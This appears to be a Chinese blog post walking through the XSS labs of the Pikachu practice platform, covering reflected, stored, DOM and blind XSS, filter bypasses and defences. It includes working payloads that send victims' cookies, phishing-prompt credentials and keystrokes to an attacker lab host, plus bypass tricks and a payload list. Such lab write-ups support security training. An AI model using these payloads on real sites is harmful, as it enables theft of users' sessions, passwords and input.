Pikachu漏洞练习平台实验——XSS(二)

概述

简介

    XSS是一种发生在Web前端的漏洞,所以其危害的对象也主要是前端用户

    XSS漏洞可以用来进行钓鱼攻击、前端js挖矿、盗取用户cookie,甚至对主机进行远程控制

攻击流程

    假设存在漏洞的是一个论坛,攻击者将恶意的JS代码通过XSS漏洞插入到论文的某一页面中

    当用户访问这个页面时,都会执行这个恶意的JS代码,这个代码就会在用户的浏览器端执行

XSS攻击类型

危害:存储型 > 反射型 > DOM型

  • 反射型:交互的数据一般不会被存在数据库里面,一次性,所见即所得,一般出现在查询页面等
  • 存储型:交互的数据会被存在数据库里面,永久性存储,一般出现在留言板,注册等页面
  • DOM型:不与后台服务器产生数据交互,是一种通过DOM操作前端代码输出的时候产生的问题,一次性,也属于反射型

XSS形成原因

    形成XSS漏洞的主要原因是程序中输入和输出的控制不够严格

    导致“精心构造”的脚本输入后,在输出到前端时被浏览器当作有效代码解析执行

XSS漏洞测试流程

    ① 在目标上找输入点,比如查询接口、留言板

    ② 输入一组 “特殊字符(>,',"等)+唯一识别字符” ,点击提交后,查看返回源码,看后端返回的数据是否有处理

    ③ 通过搜索定位到唯一字符,结合唯一字符前后语法确定是否可以构造执行js的条件(构造闭合)

    ④ 提交构造的脚本代码(以及各种绕过姿势),看是否可以成功执行,如果成功执行则说明存在XSS漏洞

 

反射型XSS(get)

    我们先输入“ '"<>6666 ” 用于测试我们的输入会不会被过滤掉,因为有特殊字符

    还有我们的输入会不会被输出,输出会不会被处理

     下面我们查看一下页面源码

    我们的输入被原封不动地输出到了 p 标签中

    下面测试我们输入的JS代码,看是否会原封不动地输出,payload如下

<script>alert("xss")</script>

    由于前端对输入长度做了限制,我们需要修改一下才能输入完整的payload

    提交之后发现我们的payload在浏览器上成功执行了

    我们查看源码可以发现,我们输入的payload嵌入了到了 p 标签里面

    这又是正确的JS代码,所以被浏览器正确执行了

    这是一个简单的反射型XSS,从前端输入由后端接受再输出

    后端没有对这个内容进行存储

    另外,这是一个GET型的XSS漏洞,一般将带有XSS的URL伪装后发送给目标即可

    如果是POST型的XSS,无法直接使用URL的方式进行攻击

 

XSS案例:盗取Cookie

实验机器

  • 攻击者192.168.171.129
  • 受害者192.168.171.1
  • 漏洞服务器192.168.171.133

攻击流程

    先在Kali上搭建XSS后台,将pikachu项目源码放到Kali机器的/var/www/html文件夹中

    启动MySQL和Apache服务

service apache2 start
service mysql start

    Kali中MySQL的root账号的密码为root,可以根据实际情况配置 /var/www/html/pikachu/pkxss/inc/config.inc.php 中的数据库信息

    访问 http://localhost/pikachu ,访问管理工具里的XSS后台,初始化数据库

    看到下面的界面就是成功了

     然后进入登录界面、登录

如果碰到连不上数据库的情况,可以尝试执行下面的命令

# 进入MySQL shell
mysql -u root -proot
# 增加权限
grant all privileges on *.* to 'root'@'%' identified by 'root';
# 刷新权限
flush privileges;​
# 退出MySQL shell
quit

    修改/var/www/html/pikachu/pkxss/xcookie下的cookie.php,将IP地址改为漏洞服务器的地址

    cookie.php用于接收受害者的cookie,然后将页面重定向到漏洞服务器的index页面,我们构造的Payload如下

<script>document.location = 'http://192.168.171.129/pikachu/pkxss/xcookie/cookie.php?cookie=' + document.cookie;</script>

    当用户提交的时候,我们就能取得用户的Cookie

    由于是GET类型的XSS漏洞,我们可以直接构造一个带有Payload的URL,诱使受害者点击就能取得Cookie

http://192.168.171.133/pikachu/vul/xss/xss_reflected_get.php?message=%3Cscript%3Edocument.location+%3D+%27http%3A%2F%2F192.168.171.129%2Fpikachu%2Fpkxss%2Fxcookie%2Fcookie.php%3Fcookie%3D%27+%2B+document.cookie%3B%3C%2Fscript%3E&submit=submit

 

反射型XSS(post)

    我们登录一下,默认账号密码是admin 123456

    会得到以下界面

    这里是以POST的方式提交的,参数内容不会出现在URL中,可以抓包看一下

    这时候我们不能直接把我们的恶意代码嵌入到URL中

    攻击思路如下

    我们需要自己搭一个恶意站点,然后在网站上放一个post表单

    将存放POST表单的链接发送给受害者,诱导受害者点击

    这POST表单会自动向漏洞服务器提交一个POST请求,实现受害者帮我们提交POST请求的目的

实验机器:

攻击者192.168.171.129

受害者192.168.171.1

漏洞服务器192.168.171.133

    这个POST表单页面是位于攻击者的Kali机器上 /var/www/html/pikachu/pkxss/xcookie 下名为 post.html 的文件

    我们需要修改里面 漏洞服务器 和 攻击者 的服务器地址

    post.html页面的作用是:当用户访问这个页面时,会自动向漏洞服务器发送POST请求,然后重定向到漏洞服务器的index页面

http://192.168.171.129/pikachu/pkxss/xcookie/post.html

    我们只需要诱导受害者点击上面的链接就能窃取用户的Cookie

 

存储型XSS 

    存储型XSS和反射型XSS形成的原因是一样的,不同的是存储型XSS下攻击者的可以将脚本注入到后台存储起来,构成更加持久的危害

    我们试着在皮卡丘平台上的XSS上留言,看看是否有什么过滤机制

    我们发现我们的留言会一直存在,而且从表现上我们输入的内容直接输出了

    下面通过源码观察

    我们输入的东西,也直接输出在 p 标签中,看起来没有经过任何转义和处理

    下面输入下面的Payload进行测试

<script>alert("xss")</script>

    成功弹窗

 

XSS案例:钓鱼攻击

    我们这里用一个Basic认证去做这个钓鱼攻击

    我们在一个存在XSS漏洞的页面上面嵌入一个恶意请求,当用户打开这个页面时

    这个页面就会像攻击者的服务器发送请求,这个请求会返回一个Basic认证的头部

    这时候会弹出一个提示框,要求受害者输入账号密码,从而盗取用户的账号密码

实验机器

攻击者192.168.171.129

受害者192.168.171.1

漏洞服务器192.168.171.133

    首先攻击者需要构造一个钓鱼页面,用来将发送Basic认证的认证框

    修改 /var/www/html/pikachu/pkxss/xfish 下的 fish.php 文件,将IP地址改为攻击者的服务器地址

    构造的Payload如下

<script src="http://192.168.171.129/pikachu/pkxss/xfish/fish.php"></script> 

    当用户访问这个留言板时,会出现下面的认证框

    上面已经提示密码不会发给正在浏览的网站,如果用户不注意还是可能上当

    用户输入的账号密码就已经存到了我们的数据库里

 

XSS案例:键盘记录

    实验前先了解一下跨域

什么是跨域

    当协议、主机(主域名、子域名)、端口中的任意一个不同时,称为不同域

    我们把不同域之间请求数据的操作,称为跨域操作

跨域-同源策略

    为了安全考虑,所有的浏览器都约定了“同源策略”。同源策略规定:

两个不同域之间不能使用JS进行互相操作

    比如:x.com 域名下的 JS 并不能操作 y.com 域下的对象

    如果想要跨域操作,则需要管理员进行特殊配置

    比如通过头里面:header("Access-Control-Allow-Origin:x/com") 指定跨域的地址

    下面的标签跨域加载资源(资源类型时有限制的)不受同源策略限制

  • <script src="...">,JS加载到本地执行
  • <img src="..">,图片
  • <link href="..">,CSS
  • <iframe src="..">,任意资源

为什么要同源策略

    A登录了淘宝,攻击者向A发送了一个恶意链接http://盗取cookie

    如果没有同源策略,url上的js恶意操作A的内容

    有了同源策略,就限制了这种状况

 

    或者,一个恶意站点A使用了 <iframe src="B站点登录界面"> ,发送该恶意 url 给受害者

    如果受害者浏览器如果没有同源策略,那么 A 上的 JS 即可获取 B 站点的登录信息

实验

    Kali机器上先修改 /var/www/html/pikachu/pkxss/rkeypress 下 rk.js 中的IP地址为攻击者地址

    rk.js 是攻击代码,我们可以把这个 js 文件放到我们的恶意站点上,然后通过有 XSS 漏洞的页面去调用

    这个文件可以记录用户的键盘操作,然后异步发送给攻击者

    但是这个违背了同源策略,因为我们攻击者的机器和漏洞服务器的主机是不一样的

    AJAX的请求默认情况下是不能跨域的,这个请求默认情况下是会失败的

    去 /var/www/html/pikachu/pkxss/rkeypress 中 rkserver.php 注释掉下面的代码

    我们可以用下面的Payload测试一下

<script src="http://192.168.171.129/pikachu/pkxss/rkeypress/rk.js"></script>

    提交之后打开控制台,看一下网络请求,我们在页面上随便输入一些东西,会有下面的提示

 

    由于 192.168.171.129 是攻击者自己搭建的平台,攻击者可以允许所有人来跨域请求,下面我们把刚刚注释的代码打开

    这时候再在浏览器上输入东西,就没有任何提示了,我们也在一直向攻击者的服务器发送数据

    攻击者也收集到了我们的击键信息

 

DOM型XSS

    DOM可以理解为访问HTML的标准接口,DOM里面会把我们的HTML分成一个DOM树

可以参考:https://www.w3school.com.cn/htmldom/index.asp

 

    我们可以以这棵树为入口,通过DOM的某些方法对树进行操作,比如对标签的添加、改变和删除等等

    DOM这个东西相当于在前端提供了一个通过JS去对HTML进行操作的接口

    下面我们在皮卡丘平台上的DOM型XSS上测试一下

    输入图中的内容,观察到如下输出,发现和输入的内容有区别

    下面通过观察页面源码

    这里有段JS代码,它通过 getElementById 获取到了标签 Id 为 text的内容赋值给str

    然后又把 str 的内容通过字符串拼接的方式写到了 a 标签的 href 属性中,a标签会写到 Id 为 dom的 div 标签中

    我们通过闭合的方式构造Payload

    构造的Payload如下

#' onclick=alert("xss")>

    成功弹窗

造成DOM型XSS的原因是前端的输入被DOM给获取到了,通过DOM又在前端输出,跟反射型和存储型比起来,它是不经过后台交互

 

DOM型XSS-X

    我们随便输入一些内容,会多出下面一句话

    下面观察下面源码

    这里也有个JS代码,它定义了一个domxss函数

    它利用 window.location.search 获取浏览器中URL的内容,然后赋值给 str

    然后经过URL解码和字符串分隔,取出URL中的参数内容

    再把 “+” 替换为 “ ”(空格),赋值给 xss

    最后把 xss 拼接到 a 标签中,然后写到 Id 为 dom 的 div 标签中

    跟前面的DOM不同的是,它的输入是从浏览器的URL中获取的,很像反射型XSS(get)

    构造的Payload跟刚才是一样的

#' onclick=alert("xss")>

 

XSS之盲打

    XSS盲打不是攻击类型,而是一个攻击场景

    在皮卡丘平台上,我们随便输入一些东西

    提交后我们输入的内容不会在前对输出,而是提交到了后台,可能管理员会去看

    如果我们输入一个JS代码,管理员登录后台管理界面,如果后台把我们的内容输出

    那后台管理员可能遭受到我们的XSS攻击,我们提交以下内容

    并登录后台管理界面(账号密码为admin,123456)

http://192.168.171.133/pikachu/vul/xss/xssblind/admin_login.php

    一登录进来就遭受了XSS攻击 

 

XSS之过滤

    实际中的系统,或多或少都会做一些安全措施,但是这些安全措施也能方法、逻辑不严谨,可以被绕过

转换的思路

  • 前端限制绕过,直接抓包重放,或者修改html前端代码。比如反射型XSS(get)中限制输入20个字符。
  • 大小写,比如<SCRIPT>aLeRT(111)</sCRIpt>。后台可能用正则表达式匹配,如果正则里面只匹配小写,那就可能被绕过。
  • 双写(拼凑),<scri<script>pt>alert(111)</scri</script>pt>。后台可能把<script>标签去掉换,但可能只去掉一次。
  • 注释干扰,<scri<!--test-->pt>alert(111)</sc<!--test-->ript>。加上注释后可能可以绕过后台过滤机制。

编码的思路

核心思路:

  • 后台过滤了特殊字符,比如<script>标签,但该标签可以被各种编码,后台不一定过滤
  • 当浏览器对该编码进行识别时,会翻译成正常的标签,从而执行

编码应该在输出点被正常识别和翻译,不能随便使用编码。

例子:

<img src=x onerror=alert('xss')>
将alert('xss')进行URL编码,可以执行吗?
<img src=x onerror=alert%28%27xss%27%29>

它并不会执行,因为属性标签并不会正常解析这些编码

 

<img src=x onerror=alert('xss')>
将alert('xss')进行HTML编码
<img src=x onerror=&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x27;&#x78;&#x73;&#x73;&#x27;&#x29;>

当它输出到前端的时候,浏览器会对这个编码进行翻译,从而弹窗

    XSS绕过的姿势很多,取决于你的思路和对前端技术的掌握程度

    我们在皮卡丘平台上,输入下面的内容看一下后台会怎么处理

    可以看到我们输入的<script>标签被去掉了

    尝试用大小写混合的方式看看能否绕过

<SCRIPT>alert(111)</sCRIpt>

    这时候成功弹窗,后端只对小写的script进行过滤

    也可以用别的攻击Payload,后台可能没有做处理

<img src=x onerror=alert('xss')>

 

XSS之htmlspecialchars

    关于htmlspecialchars()函数

    htmlspecialchars()是PHP里面把预定义的字符转换为HTML实体的函数

    预定义的字符是

  • & 成为 &amp
  • " 成为 &quot
  • ' 成为 &#039
  • < 成为 &lt
  • > 成为 &gt

    可用引号类型

  • ENT_COMPAT:默认,仅编码双引号
  • ENT_QUOTES:编码双引号和单引号
  • ENT_NOQUOTES:不编码任何引号

    我们在皮卡丘平台上输入下面的内容,看一下后端是怎么处理的

    我们输入的内容经过了HTML编码

 

    可以看到 “ " ”,“ > ”和“ < ”都经过了编码,剩下的字符没有,单引号依然可以使用

    我们可以构造下面的Payload,我们在Payload前后都添加一个单引号用于闭合 href 中的单引号

' onclick=alert(1111) '

 

XSS常见防范措施

总的原则:输入做过滤,输出做转义

  • 过滤:根据业务需求进行过滤,比如输入点要求输入手机号,则只允许输入手机号格式的数字
  • 转义:所有输出到前端的数据根据输出点进行转义,比如输出到html中进行html实体转义,输入到JS里面进行JS转义

 

XSS之href输出

    看一下xss_03.php的源码

    这个页面会接收我们的输入的message,然后判断我们输入的网址,如果输入的不是百度会对我们输入的内容用 htmlspecialchars() 进行处理

    这个函数转义单引号、双引号和左右尖括号

    然后输出到 a 标签的 href 属性中,在 a 标签的href属性中,可以用javascript协议来执行JS

    构造Payload如下,没有上面被转义的字符

javascript:alert(111)

    提交后查看源码,我们的输入在 a 标签的 href属性中

    此时点击我们的标签就会出现弹窗

如果要对 href 做处理,一般有两个逻辑

  • 输入的时候只允许 http 或 https 开头的协议,才允许输出
  • 其次再进行htmlspecialchars处理

 

XSS之js输出

    我们随便输入一些东西,然后查看一下页面源码

    它会把我们的输入放到JS中,然后对这个变量进行判断,然后再输出

    我们可以构造一个闭合,先用一个单引号和</script>闭合掉页面中的<script>,然后再插入自己的JS代码

'</script><script>alert('xss')</script>

    这时候我们的JS也被执行了

    这个漏洞的输出点是在JS中,通过用户的输入动态生成了JS代码

    JS有个特点,它不会对实体编码进行解释,如果想要用htmlspecialchars对我们的输入做实体编码处理的话

    在JS中不会把它解释会去,这样解决了XSS问题,但不能构成合法的JS

    所以在JS的输出点应该对应该使用 \ 对特殊字符进行转义

 

XSS常见Payload

其他可以参考:https://www.cnblogs.com/xuehen/p/4814237.html

<script>alert("xss")</script>
<script>alert(document.cookie)</script>
<a href=javascript:alert(111)>
<body onload=alert('XSS')>
<img src=x onerror=alert(1)>
<div onclick="alert('xss')">

 

posted @ 2019-09-21 11:38  那少年和狗  阅读(5451)  评论(5编辑  收藏